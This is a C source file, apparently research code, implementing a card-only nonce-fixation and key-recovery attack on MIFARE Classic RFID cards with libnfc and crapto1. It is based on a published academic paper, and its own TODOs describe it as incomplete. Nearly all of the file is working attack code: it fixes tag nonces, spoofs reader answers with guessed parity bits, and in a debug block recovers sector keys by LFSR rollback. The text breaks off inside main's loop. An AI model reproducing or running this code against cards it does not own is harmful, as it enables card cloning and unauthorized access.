Protocol 4.5, {Nr} and F0, F1, F2, F3

/*  
 File:
    zv_auth_crapto1.c

 Name:
    Mifare Classic TagNonce-fixation attack (card-only attack mode)

 Description:
    Implementing Protocol 4.5 from "Wirelessly Pickpocketing a Mifare Classic Card"
    to find the Nr/{Nr} such that the number of possible states of LSFR is seriously
    restricted to 436 states, so that we should end up trying only 7.9*pow(10,9) keys
    to decrypt the 4 bytes ecnrypted NACK/0x5 code after "successful" authentication
    with matched bogus parity bits.

    For tag fixation it uses the DROP FIELD and CONSTANT DELAY after drop and before authentication
    technique. Most of the times it gives pretty good results.

    To improve the overall results (but somehow expands the timeslot of attack), the Nt tag nonces
    are stored and looked-up in a sorted array of Nt entries (We can see it as a hash map).

 TODOs:
    0. Make this protocol work and thus confirm the statement from the WPMCC09 paper. Currently
    it gives that most of Nt tag nonces do not have all F0, F1, F2, F3 properties.
    1. Is there a way to define apriori the space of Nt which do not satisfy all F0, F1, F2, F3
    so that we don't waste time even checking F0 for them?
    2. Other TODOs in the code
    3. Modify {Nr} bytes instead of directly modifying the Nr bytes, as specified in protocol

 Contact:
    http://andreicostin.com/
    mailto:zveriu@gmail.com
 
 Requirements:
    crapto1 library            (http://code.google.com/p/crapto1)
    libnfc                     (http://www.libnfc.org)
 
 This program is free software: you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
 the Free Software Foundation, either version 2 of the License, or
 (at your option) any later version.
 
 This program is distributed in the hope that it will be useful,
 but WITHOUT ANY WARRANTY; without even the implied warranty of
 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 GNU General Public License for more details.
 
 You should have received a copy of the GNU General Public License
 along with this program.  If not, see <http://www.gnu.org/licenses/>. 
*/

/*
BIBLIOGRPAHY (no specific order)
1. [WPMCC09] - "Wirelessly Pickpocketing a Mifare Classic Card"
2. [ESO08] - "2008-esorics.pdf"
3. [ESOSL08] - "2008-esorics-slides-updated.pdf"
4. [KON08] - "2008-koning-thesis.pdf"
5. [VER08] - "2008-verdult-thesis.pdf"
6. [PATMC] - "A Practical Attack on the MIFARE Classic.pdf"
7. [NCOURFIDSEC09] - "mifare_courtois_rfidsec09.pdf"
8. [MFCLTRB09] - "MifareClassicTroubles.ppt"
9. [TEEP08] - "p2008-teepe-classic_mistakes.pdf"
10. [RFIDSANJ] - "RFID Attacks_WCA_San_Jose.pdf"
11. [ROSS] - "rossum-mifare.pdf"
12. [PLOTZ08] - "SAR-PR-2008-21_.pdf"
13. [ROSSSASG] - "SASG35_Peter_v_Rossum_Mifare.pdf"

zveriu TODO:
1. try running in Release (not debug mode) - check timings
2. check whether after a tag nonce received it is possible to fool tag to 
regenerate another tag nonce in the same session thus in case non_distance <> 0
than expected we can delay so that we have higher chances on landing on the same
tag nonce
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "libnfc.h"

// zveriu
#include "crapto1.h"

#define NOMINMAX
#include "windows.h"

#define MAX_TAG_NONCES                  65536 // Suppose from 2^32, only MAX 2^16 tag nonces will appear given current sleeps
#define MAX_BACKTRACK_LEVELS            4 // Nr is 4 bytes, so we have 4 properties to check F0, F1, F2, F3 in a backtrack fassion

//#define DEBUG_RECOVER_KEY

typedef struct parity_check
{
    uint32_t tagNonce; // Tag nonce we target to fix
    uint8_t crntBacktrackLevel; // Init with 0. Once property F0 found, advance. If property F[crntBacktrackLevel] cannot be found, go back one level and try next Nr of the new level
    byte_t crntNrBytes[MAX_BACKTRACK_LEVELS][4];
    uint8_t crntParByte[MAX_BACKTRACK_LEVELS]; // Starting from 0 to 255, every time we encounter tagNonce, try this parity bits then increment until we have success
    uint32_t uiRxLen[MAX_BACKTRACK_LEVELS]; // In case of success we want to store the length of the parity response (4 bits - but could it be more?!)
    byte_t abtRx[MAX_BACKTRACK_LEVELS][MAX_FRAME_LEN]; // And the 4 bits encrypted returned for the guessed parity bits. TODO: how to decrypt these 4 bits into 0x5, 0xa, 0x4 (Attack.MIFARE.pdf page 14)
    byte_t spoofFlag; // No spoofing until we have a successful auth with this tagNonce. Once we have, we want to spoof to get the encrypted 0x5 value
    
    // Successful authentication data Ar and At (along with parities), to test in the Nohl/Plotz tests.c
    byte_t suxAbtArEnc[8];
    byte_t suxAbtArEncPar[8];
    uint32_t suxUiRxLen;
    byte_t suxAbtRx[MAX_FRAME_LEN];
    byte_t suxAbtRxPar[MAX_FRAME_LEN];

    // TODO: remove later. seems like encryptying 0x5 doesn't give yet desired results
    //byte_t haveNackEnc;
    //byte_t arrNackEnc[4];

    // Generic approach to entire backtrack algorithm
    byte_t tagHasNoNrWithPropertiesF; // init 0, 1 means do not check this tag anymore
    byte_t checkingNegatedLastBit; // Init 0 on a new backtrack level or on a new Nr byte of a downgraded back track level, set to 1 in the same backtrack level if checking property F(crntBacktrackLevel)
    uint8_t NrBytes[MAX_BACKTRACK_LEVELS];
    uint8_t NrEncBytes[MAX_BACKTRACK_LEVELS];
    uint8_t NrEncNegBytes[MAX_BACKTRACK_LEVELS];
    uint8_t NrEncBytesParity[MAX_BACKTRACK_LEVELS]; // Starting from 0 to 255, every time we encounter tagNonce, try this parity bits then increment until we have success
    uint8_t NrEncNegBytesParity[MAX_BACKTRACK_LEVELS]; // Parity bits for negated jth byte Nr. Starting from 0 to 255, every time we encounter tagNonce, try this parity bits then increment until we have success
    byte_t hasPropertyF[MAX_BACKTRACK_LEVELS]; // Init all with 0
} parity_check_t;

    LARGE_INTEGER nFreq;
    LARGE_INTEGER nBeginTime;
    LARGE_INTEGER nEndTime;
    int execution_time = 0;
    double g_exec_time = 0;
    long long ll_exec_time = 0;

    uint32_t uid;
    // First array simulates the tag nonces 32 bit possible combinations (we take last byte only)
    parity_check_t arrSpoofEntries[MAX_TAG_NONCES];
    uint32_t numSpoofEntries = 0;
    uint8_t maxBacktrackLevel = 0;

int compareTagNonces (const void * a, const void * b)
{
    if ( *(uint32_t*)a > *(uint32_t*)b ) return 1;
    if ( *(uint32_t*)a == *(uint32_t*)b ) return 0;
    if ( *(uint32_t*)a < *(uint32_t*)b ) return -1;

    return 0; // Never reach here, but keep compiler happy
}
// zveriu


bool mifare_test(dev_info* pdi, byte_t* pbtUid, uint64_t ui64Key, uint32_t uiBlock)
{
    uint32_t pos, pos2, nt;
    struct Crypto1State* pcs;
    byte_t abtAuth[4]        = { 0x60,0x00,0x00,0x00 };
    byte_t abtArEnc[8]       = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
    byte_t abtArEncPar[8]    = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
    byte_t abtRx[MAX_FRAME_LEN];
    byte_t abtRxPar[MAX_FRAME_LEN];
    uint32_t uiRxLen;

    // zveriu
    static uint32_t nt2 = 0;
    uint32_t nt2_var = 0;
    uint32_t nr_enc             = 0;
    uint32_t reader_response    = 0;
    uint32_t tag_response       = 0;
    uint32_t ks2                = 0;
    uint32_t ks3                = 0;
    struct Crypto1State* pcs_rollback;
    uint64_t lfsr;
    unsigned char* plfsr = (unsigned char*)&lfsr;
    char sendSpoofAr = 0; // We want to spoof the Ar response with all 0s and the use random parity bits for that Nt until we have a successful 4 bits response (0x5)
    parity_check_t *ptrFoundTagNonceEntry = NULL;
    uint8_t crntBytePar; // TODO: remove, replaced with crntParityBits
    //uint8_t *crntParityBits;
    uint8_t *crntNrBytes;
    byte_t parityMask;

    // Configure the authentication frame using the supplied block 
    abtAuth[1] = uiBlock;
    append_iso14443a_crc(abtAuth,2);

    // Now we take over, first we need full control over the CRC
    nfc_configure(pdi,DCO_HANDLE_CRC,false);

    // zveriu
    //QueryPerformanceCounter(&nEndTime);
    // ms UOM
    /*
    execution_time = (nEndTime.QuadPart - nBeginTime.QuadPart)*1000000/(nFreq.QuadPart);
    g_exec_time = (nEndTime.QuadPart - nBeginTime.QuadPart)/(double)(nFreq.QuadPart);
    ll_exec_time += (nEndTime.QuadPart - nBeginTime.QuadPart);
    printf("from DCO_ACTIVATE_FIELD till AUTH_A takes %d us or %g s or %ld quads\n", execution_time, g_exec_time, ll_exec_time);
    */

    // Request plain tag-nonce
    printf("Nt: ");
    if (!nfc_initiator_transceive_bytes(pdi,abtAuth,4,abtRx,&uiRxLen))
    {
      printf("\n\n!!! Failed to get TAG NONCE !!!\n\n");
      return false;
    }
    print_hex(abtRx,4);

    // Save the tag nonce (nt)
    nt = swap_endian32(abtRx);

    // zveriu
    printf("Nonce distance %d (from 0x%08x, to 0x%08x)\n", nonce_distance(nt, nt2), nt, nt2);
    nt2 = nt;

    // Max log(2, MAX_TAG_NONCES) searches, i.e. log(2, 65536) = 16
    ptrFoundTagNonceEntry = (parity_check_t *) bsearch((void *)(&nt2), arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces);

    if (!ptrFoundTagNonceEntry)
    {
        if (numSpoofEntries >= MAX_TAG_NONCES)
        {
            printf("\n\n!!! REACHED MAX_TAG_NONCES !!!\n\n");
            return false;
        }

        // TODO: initialize properly all the new members
        arrSpoofEntries[numSpoofEntries].tagNonce = nt2;
        numSpoofEntries++;

        // Max log(2, MAX_TAG_NONCES) searches, i.e. log(2, 65536) = 16
        qsort(arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces);

        ptrFoundTagNonceEntry = (parity_check_t *) bsearch((void *)(&nt2), arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces);
    }
    else
    {
        // TODO: reuse the "// If current level" code
        // TOOD: use a common pointer below to either ptrFoundTagNonceEntry->NrEncBytesParity or ptrFoundTagNonceEntry->NrEncNegBytesParity
        if (!ptrFoundTagNonceEntry->checkingNegatedLastBit)
        {
            // No parity bits combination of those 256 possible returned successful NACK
            if (ptrFoundTagNonceEntry->NrEncBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel] == 255)
            {
                // If current level Nr non-encryp byte is exhausted
                if (ptrFoundTagNonceEntry->NrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel] == 255)
                {
                    //ptrFoundTagNonceEntry->NrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel] = 0;
                    for (pos = ptrFoundTagNonceEntry->crntBacktrackLevel; pos < MAX_BACKTRACK_LEVELS; pos++)
                    {
                        ptrFoundTagNonceEntry->NrBytes[pos] = 0;
                    }

                    ptrFoundTagNonceEntry->crntBacktrackLevel--;

                    if (ptrFoundTagNonceEntry->crntBacktrackLevel >= 255)
                    {
                        ptrFoundTagNonceEntry->tagHasNoNrWithPropertiesF = 1;
                    }
                }

                ptrFoundTagNonceEntry->NrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel]++;
            }
            else
            {
                ptrFoundTagNonceEntry->NrEncBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel]++;
            }
        }
        else
        {
            if (ptrFoundTagNonceEntry->NrEncNegBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel] == 255)
            {
                // If current level Nr non-encryp byte is exhausted
                if (ptrFoundTagNonceEntry->NrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel] == 255)
                {
                    //ptrFoundTagNonceEntry->NrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel] = 0;
                    for (pos = ptrFoundTagNonceEntry->crntBacktrackLevel; pos < MAX_BACKTRACK_LEVELS; pos++)
                    {
                        ptrFoundTagNonceEntry->NrBytes[pos] = 0;
                    }

                    ptrFoundTagNonceEntry->crntBacktrackLevel--;

                    if (ptrFoundTagNonceEntry->crntBacktrackLevel >= 255)
                    {
                        ptrFoundTagNonceEntry->tagHasNoNrWithPropertiesF = 1;
                    }
                }

                ptrFoundTagNonceEntry->NrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel]++;
            }
            else
            {
                ptrFoundTagNonceEntry->NrEncNegBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel]++;
            }
        }
    }

    if (ptrFoundTagNonceEntry->tagHasNoNrWithPropertiesF == 1)
    {
        printf("\n\n\t\tTAG NONCE has no Nr with needed properties. This TAG NONCE is useless:(\n\n");
        return false;
    }

    // TOOD: use a common pointer from above to either ptrFoundTagNonceEntry->NrEncBytesParity or ptrFoundTagNonceEntry->NrEncNegBytesParity
    if (!ptrFoundTagNonceEntry->checkingNegatedLastBit)
    {
        crntBytePar = ptrFoundTagNonceEntry->NrEncBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel];
    }
    else
    {
        crntBytePar = ptrFoundTagNonceEntry->NrEncNegBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel];
    }

    sendSpoofAr = ptrFoundTagNonceEntry->spoofFlag;
    crntNrBytes = &(ptrFoundTagNonceEntry->NrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel]);

    // Init cipher with key
    pcs = crypto1_create(ui64Key);

    // Load (plain) uid^nt into the cipher
    for (pos=0; pos<4; pos++)
    {
        // Update the cipher with the tag-initialization 
        crypto1_byte(pcs,pbtUid[pos]^abtRx[pos],0);
    }

    // zveriu TODO: it is unlikely that here we should encrypt 0x5 to see how it looks like because here
    // the state is always the same/constant, but the encrypted 0x5 always were different, depending on Nt, possibly {Nr,Ar} also

    // Generate (encrypted) nr+parity by loading it into the cipher (Nr)
    for (pos=0; pos<4; pos++)
    {
        // Load in, and encrypt, the reader nonce (plain nr=0x00000000)
        //abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ 0x00;
        // Introduced specific plain Nr, so that we try to find Nr with F0, F1, F2, F3 properties for given Nt
        abtArEnc[pos] = crypto1_byte(pcs,crntNrBytes[pos],0) ^ crntNrBytes[pos];

        // Encrypt the parity bits for the 4 plaintext bytes of nr
        //abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(0x00);
        // Introduced specific plain Nr, so that we try to find Nr with F0, F1, F2, F3 properties for given Nt
        abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(crntNrBytes[pos]);

        // TODO: save the {Nr} into current pointer NrEncBytes[pos]
        ptrFoundTagNonceEntry->NrEncBytes[pos] = abtArEnc[pos];

#ifdef DEBUG_RECOVER_KEY
        // zveriu Used in RECOVER_KEY section
        nr_enc = nr_enc << 8;
        nr_enc = nr_enc | abtArEnc[pos];
#endif

        if (sendSpoofAr)
        {
            if (ptrFoundTagNonceEntry->checkingNegatedLastBit)
            {
                abtArEnc[pos] = ptrFoundTagNonceEntry->NrEncNegBytes[pos];
            }
            
            // Put actually the parity we are trying to guess
            abtArEncPar[pos] = (crntBytePar & (1 << pos)) >> pos;
        }
    }

    // zveriu TODO: somewhere here possibly is the most appropriate place to crypto1_bit() for 0x5 (binary 0101, 4 bits)
    // 1. get the output, store in current ptrFoundTagNonceEntry->nackEncFirst and exit, next time avoid this
    // 2. then, when entering spoof mode for a tag and getting successful 0x5, verify whether nackEncFirst equals to abtRx
  
    // Skip 32 bits in pseudo random generator
    nt = prng_successor(nt,32);
  
    // Generate reader-answer from tag-nonce (Ar)
    for (pos=4; pos<8; pos++)
    {
        // Get the next random byte for verify the reader to the tag 
        nt = prng_successor(nt,8);

        // Encrypt the reader-answer (nt' = suc2(nt))
        abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ (nt&0xff);
        // Encrypt the parity bits for the 4 plaintext bytes of nt'
        abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(nt&0xff);

#ifdef DEBUG_RECOVER_KEY
        // zveriu Used in RECOVER_KEY section
        reader_response = reader_response << 8;
        reader_response = reader_response | abtArEnc[pos];
#endif

        // zveriu - Make the Ar incorrect, but leave parity bits calculated/guessed_spoofed as above
        /* If all eight parity bits are correct, but the answer Ar is
        wrong, the tag responds with the 4-bit error code 0x5
        signifying failed authentication, called ‘transmission error’ in [KHG08].
        */
        if (sendSpoofAr)
        {
            // Always send bogus 0x00000000 Ar
            abtArEnc[pos] = 0;
            abtArEncPar[pos] = (crntBytePar & (1 << pos)) >> pos;
        }
    }

    // zveriu TODO: somewhere here possibly is the most appropriate place to crypto1_bit() for 0x5 (binary 0101, 4 bits)
    // 1. get the output, store in current ptrFoundTagNonceEntry->nackEncSecond and exit, next time avoid this
    // 2. then, when entering spoof mode for a tag and getting successful 0x5, verify whether nackEncSecond equals to abtRx
    /*
    if ( !ptrFoundTagNonceEntry->haveNackEnc )
    {
        // Encrypt 0x5 (0101b) consecutively
        ptrFoundTagNonceEntry->arrNackEnc[0] = crypto1_bit(pcs, 0, 0) ^ 0;
        ptrFoundTagNonceEntry->arrNackEnc[1] = crypto1_bit(pcs, 1, 0) ^ 1;
        ptrFoundTagNonceEntry->arrNackEnc[2] = crypto1_bit(pcs, 0, 0) ^ 0;
        ptrFoundTagNonceEntry->arrNackEnc[3] = crypto1_bit(pcs, 1, 0) ^ 1;
        ptrFoundTagNonceEntry->haveNackEnc = 1;
        return false;
    }
    */

    // Finally we want to send arbitrary parity bits
    nfc_configure(pdi,DCO_HANDLE_PARITY,false);

    // Transmit reader-answer
    printf(" Ar: ");
    print_hex_par(abtArEnc,64,abtArEncPar);

    if (!nfc_initiator_transceive_bits(pdi,abtArEnc,64,abtArEncPar,abtRx,&uiRxLen,abtRxPar))
    {
        /*
        // zveriu
        if (uiRxLen == 4)
        {
            printf("FAILED 4-bit error code 0x5 encrypted: uiRxLen=%d, abtRx=0x%02x\n", uiRxLen, abtRx[0]);
        }

        printf(" At (NON-relevant): "); 

        // zveriu 
        print_hex_par(abtRx,uiRxLen,abtRxPar);
        */

        return false;
    }

    // zveriu - Successful: either authentication (uiRxLen == 32) either 0x5 reponse (uiRxLen == 4)
    if (uiRxLen == 4)
    {
        printf("\n\n\t\tSUCCESS 4-bit error code 0x5 encrypted: uiRxLen=%d, abtRx=0x%02x\n\n", uiRxLen, abtRx[0]);

        printf("\t\tNOHL/PLOTZ Ar: ");print_hex_par(ptrFoundTagNonceEntry->suxAbtArEnc,64,ptrFoundTagNonceEntry->suxAbtArEncPar);
        printf("\t\tNOHL/PLOTZ At: ");print_hex_par(ptrFoundTagNonceEntry->suxAbtRx,ptrFoundTagNonceEntry->suxUiRxLen,ptrFoundTagNonceEntry->suxAbtRxPar);

        // ============================================

        ptrFoundTagNonceEntry->uiRxLen[ptrFoundTagNonceEntry->crntBacktrackLevel] = uiRxLen;
        for (pos = 0; pos < (uiRxLen+7)/8; pos++)
        {
            ptrFoundTagNonceEntry->abtRx[ptrFoundTagNonceEntry->crntBacktrackLevel][pos] = abtRx[pos];
        }

        // For a given crntBacktrackLevel, we need to test the property F(crntBacktrackLevel) by testing the negated jth byte and find the P' parity bits
        if (!ptrFoundTagNonceEntry->checkingNegatedLastBit)
        {
            // [WPMCC09] page 8: The earlier bits of {n?R} she chooses the same as those of {nR}
            for (pos = 0; pos < ptrFoundTagNonceEntry->crntBacktrackLevel; pos++)
            {
                ptrFoundTagNonceEntry->NrEncNegBytes[pos] = ptrFoundTagNonceEntry->NrEncBytes[pos];
            }

            // [WPMCC09] page 8: Now the attacker defines {n?R,8j+7} := !{nR,8j+7}, i.e., she changes the last bit of the jth byte of {nR}.
            ptrFoundTagNonceEntry->NrEncNegBytes[pos] = ptrFoundTagNonceEntry->NrEncBytes[pos];
            // TODO: make a macro for this and optimize FLIP_BIT
            if (ptrFoundTagNonceEntry->NrEncNegBytes[pos] & 0x01)
            {
                ptrFoundTagNonceEntry->NrEncNegBytes[pos] = ptrFoundTagNonceEntry->NrEncNegBytes[pos] & 0xfe;
            }
            else
            {
                ptrFoundTagNonceEntry->NrEncNegBytes[pos] = ptrFoundTagNonceEntry->NrEncNegBytes[pos] | 0x01;
            }

            // [WPMCC09] page 8: The later bits of {n?R} and {a?R} the attacker chooses arbitrarily.
            // NOTE: Ar is alwasys "arbitrarily" 0 (in code of spoofed Ar calculation)
            for (pos2 = pos+1; pos2 < MAX_BACKTRACK_LEVELS; pos2++)
            {
                ptrFoundTagNonceEntry->NrEncNegBytes[pos2] = 0;
            }

            for (parityMask = 0, pos = 0; pos < ptrFoundTagNonceEntry->crntBacktrackLevel; pos++)
            {
                parityMask = (parityMask << 1) | 0x1;
            }

            ptrFoundTagNonceEntry->NrEncNegBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel] = (ptrFoundTagNonceEntry->NrEncBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel] & (parityMask << (8 - ptrFoundTagNonceEntry->crntBacktrackLevel)) );

            // After the above construction of negated last bit of jth byte, mark that we need to check the negated bits NrEnc
            ptrFoundTagNonceEntry->checkingNegatedLastBit = 1;
        }
        // Advance one level of bactracking since we passed the property F(ptrFoundTagNonceEntry->crntBacktrackLevel)
        else
        {
            printf("\n\n\tBacktrack level %d COMPLETED:", ptrFoundTagNonceEntry->crntBacktrackLevel);
            printf("\n\t\tNr[%d]: 0x%02x", ptrFoundTagNonceEntry->crntBacktrackLevel, ptrFoundTagNonceEntry->NrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel]);
            printf("\n\t\t{Nr}[%d]: 0x%02x", ptrFoundTagNonceEntry->crntBacktrackLevel, ptrFoundTagNonceEntry->NrEncBytes[ptrFoundTagNonceEntry->crntBacktrackLevel]);

            printf("\n\tChecking property F%d:", ptrFoundTagNonceEntry->crntBacktrackLevel);

            if ( ( (ptrFoundTagNonceEntry->NrEncBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel] >> (8-ptrFoundTagNonceEntry->crntBacktrackLevel-1)) & 0x01 ) != 
                 ( (ptrFoundTagNonceEntry->NrEncNegBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel] >> (8-ptrFoundTagNonceEntry->crntBacktrackLevel-1)) & 0x01 )
                )
            {
                printf(" PRESENT :)");
                // We go to the next level, seeking next Nr byte
                ptrFoundTagNonceEntry->crntBacktrackLevel++;
                // Thus we start from scratch on next Nr byte, so we are not in checkingNegatedBit anymore
                ptrFoundTagNonceEntry->checkingNegatedLastBit = 0;
            }
            else
            {
                printf(" MISSING :(");
                // We are STILL in checkingNegatedBit state, but we need next value for current Nr byte, so we simulate it for next loop
                ptrFoundTagNonceEntry->NrEncNegBytesParity[ptrFoundTagNonceEntry->crntBacktrackLevel] = 255;
            }

            if (ptrFoundTagNonceEntry->crntBacktrackLevel > maxBacktrackLevel)
            {
                maxBacktrackLevel = ptrFoundTagNonceEntry->crntBacktrackLevel;
            }

            if (ptrFoundTagNonceEntry->crntBacktrackLevel == MAX_BACKTRACK_LEVELS)
            {
                printf("WTF?!");
            }
        }

        /*
        // TODO: generalize for the entire backtrack algorithm
        // Save the {Nr} used in current backtrack level
        for (pos = 0; pos < 4; pos++)
        {
            ptrFoundTagNonceEntry->crntNrBytes[ptrFoundTagNonceEntry->crntBacktrackLevel][pos] = abtArEnc[pos];

            if (ptrFoundTagNonceEntry->crntBacktrackLevel == 0)
            {
                ptrFoundTagNonceEntry->crntNrBytes[1][pos] = ptrFoundTagNonceEntry->crntNrBytes[0][pos];

                // Flip the last bit of the {Nr}, bit 31. (particular case of F3 property)
                if (pos == 3)
                {
                    if (ptrFoundTagNonceEntry->crntNrBytes[1][pos] & 0x01)
                    {
                        ptrFoundTagNonceEntry->crntNrBytes[1][pos] = ptrFoundTagNonceEntry->crntNrBytes[1][pos] & 0xfe;
                    }
                    else
                    {
                        ptrFoundTagNonceEntry->crntNrBytes[1][pos] = ptrFoundTagNonceEntry->crntNrBytes[1][pos] | 0x01;
                    }
                }
            }
        }

        // TODO: generalize for the entire backtrack algorithm
        // Second level is to use the same {parity} for first 3 bits and randomly vary last 5 (particular case of F3 property)
        if (ptrFoundTagNonceEntry->crntBacktrackLevel == 0)
        {
            ptrFoundTagNonceEntry->crntParByte[1] = (ptrFoundTagNonceEntry->crntParByte[0] & (0x7 << 5) );
        }

        ptrFoundTagNonceEntry->crntBacktrackLevel++;

        if (ptrFoundTagNonceEntry->crntBacktrackLevel == 2)
        {
            QueryPerformanceCounter(&nEndTime);
            execution_time = (nEndTime.QuadPart - nBeginTime.QuadPart)*1000000/(nFreq.QuadPart);
            g_exec_time = (nEndTime.QuadPart - nBeginTime.QuadPart)/(double)(nFreq.QuadPart);
            ll_exec_time += (nEndTime.QuadPart - nBeginTime.QuadPart);
            printf("BACKTRACK_LEVEL_2 took %d us or %g s or %ld quads\n", execution_time, g_exec_time, ll_exec_time);
            printf("");
            QueryPerformanceCounter(&nBeginTime);
        }
        */

        // ============================================
    }
    else if (uiRxLen == 32)
    {
        // zveriu DONE 
        // 1. do a successful authentication for a tag nonce
        // 2. store a successful authentication abtArEnc/abtArEncPar and abtRx/abtRxPar
        // 3. when the same tag nonce comes again do the spoofing for only that tag nonce until it answers with 4 bits
        // 4. stop when such first situation occur and input all the data into tests.c of Nohl/Plotz
        // 5. check if the returned 4 bits code is the ciphertext counterpart of 0x5
        ptrFoundTagNonceEntry->spoofFlag = 1;

        for (pos = 0; pos < 8; pos++)
        {
            ptrFoundTagNonceEntry->suxAbtArEnc[pos] = abtArEnc[pos];
            ptrFoundTagNonceEntry->suxAbtArEncPar[pos] = abtArEncPar[pos];
        }

        ptrFoundTagNonceEntry->suxUiRxLen = uiRxLen;
        for (pos = 0; pos < (uiRxLen+7)/8; pos++)
        {
            ptrFoundTagNonceEntry->suxAbtRx[pos] = abtRx[pos];
            ptrFoundTagNonceEntry->suxAbtRxPar[pos] = abtRxPar[pos];
        }
    }

    printf(" At: "); 
    print_hex_par(abtRx,uiRxLen,abtRxPar);

#ifdef DEBUG_RECOVER_KEY
    // zveriu: TODO: how the fuck to decrypt/recover from 4 bit error code?
    /**
    if (uiRxLen == 4)
    {
        nt2_var = prng_successor(nt2, 64);
        ks2 = reader_response ^ nt2_var;

        nt2_var = prng_successor(nt2, 4);
        tag_response = abtRx[0];
        ks3 = 0;
        ks3 = ks3 | ((tag_response & 0x1) ^ (nt2_var & 0x1));
        ks3 = ks3 | ((tag_response & 0x2) ^ (nt2_var & 0x2));
        ks3 = ks3 | ((tag_response & 0x4) ^ (nt2_var & 0x4));
        ks3 = ks3 | ((tag_response & 0x8) ^ (nt2_var & 0x8));
        //pcs_rollback = lfsr_recovery64(ks2, ks3);
        pcs_rollback = lfsr_recovery32(ks2, 0x5);

        //lfsr_rollback(pcs_rollback, 0, 0);
        lfsr_rollback(pcs_rollback, 0, 0);
        lfsr_rollback(pcs_rollback, nr_enc, 1);
        lfsr_rollback(pcs_rollback, uid ^ nt2, 0);
        crypto1_get_lfsr(pcs_rollback, &lfsr);

        printf("Found Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[0],plfsr[1],plfsr[2],plfsr[3],plfsr[4],plfsr[5]);

        crypto1_destroy(pcs_rollback);
    }
    else */
    if (uiRxLen == 32)
    {
        for (pos=0; pos<4; pos++)   
        {
            tag_response = tag_response << 8;
            tag_response = tag_response | abtRx[pos];
        }

        ks2 = reader_response ^ prng_successor(nt2, 64);
        ks3 = tag_response ^ prng_successor(nt2, 96);
        pcs_rollback = lfsr_recovery64(ks2, ks3);

        lfsr_rollback(pcs_rollback, 0, 0);
        lfsr_rollback(pcs_rollback, 0, 0);
        lfsr_rollback(pcs_rollback, nr_enc, 1);
        lfsr_rollback(pcs_rollback, uid ^ nt2, 0);
        crypto1_get_lfsr(pcs_rollback, &lfsr);

        printf("Found Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[0],plfsr[1],plfsr[2],plfsr[3],plfsr[4],plfsr[5]);

        crypto1_destroy(pcs_rollback);
    }
    /**/
    
#endif

    crypto1_destroy(pcs);

    return true;
}

int main(int argc, const char* argv[])
{
  dev_info* pdi;
  tag_info ti;
  uint32_t uiBlock;
  uint64_t ui64Key;
  //uint32_t pos, pos2;
  int pressKey = 0;

    QueryPerformanceFrequency(&nFreq);

  if (argc < 3)
  {
    printf("syntax: %s <key> <block>\n",argv[0]);
    return 1;
  }
  
  sscanf(argv[1],"%012llx",&ui64Key);
  sscanf(argv[2],"%02x",&uiBlock);

  // Try to open the NFC reader
  pdi = nfc_connect(NULL);
  
  if (pdi == INVALID_DEVICE_INFO)
  {
    printf("Error connecting NFC reader\n");
    return 1;
  }
  nfc_initiator_init(pdi);

  printf("\nConnected to NFC reader: %s\n\n",pdi->acName);

    // zveriu
    QueryPerformanceCounter(&nBeginTime);

    memset((void *)arrSpoofEntries, 0, sizeof(arrSpoofEntries));

    /*
http://www.libnfc.org/community/topic/71/controlling-nonce-with-touchatag/

It would help if you drop the field and call nfc_initiator_select_tag() 
immediately followed by sending the auth (0x60 ...) frame. The nfc_initiator_select_tag() 
will enabled the field just before performing the anti-collision. Don't forget to set 
the configuration option that the chip should not handle the CRC before you send the auth frame.
It should work using ~300ms delay (the proxmark seems to get better results).
Tests show that 3 of 5 nonces are the same. For getting better results, a measurement of 
the nonce-distance (for guessing the next nonce) seems to work more stable.
The field could stay enabled for this. Use the UID as initiator data during the second 
call to nfc_initiator_select_tag(), it will use a WUPA (0x52) frame then instead 
of a REQA (0x26 frame which is ignored by an deactivated tag
(check the anticol example for more info about this process http://www.libnfc.org/libnfc/examples/anticol).
    */
    while(1)
    {
        
      // Drop the field for a while, so the card can reset
      nfc_configure(pdi,DCO_ACTIVATE_FIELD,false);

      // {WPMCC09} 2.4. Tag nonces: "drop the field (for approximately 30us) to discharge all capacitors"
      Sleep(10);

      // Let the reader only try once to find a tag
      nfc_configure(pdi,DCO_INFINITE_SELECT,false);

      // Configure the CRC and Parity settings
      nfc_configure(pdi,DCO_HANDLE_CRC,true);
      nfc_configure(pdi,DCO_HANDLE_PARITY,true);

        //QueryPerformanceCounter(&nBeginTime);
      // Enable field so more power consuming cards can power themselves up
      nfc_configure(pdi,DCO_ACTIVATE_FIELD,true);

        //QueryPerformanceCounter(&nEndTime);
        //ll_exec_time = (nEndTime.QuadPart - nBeginTime.QuadPart);
        //QueryPerformanceCounter(&nBeginTime);

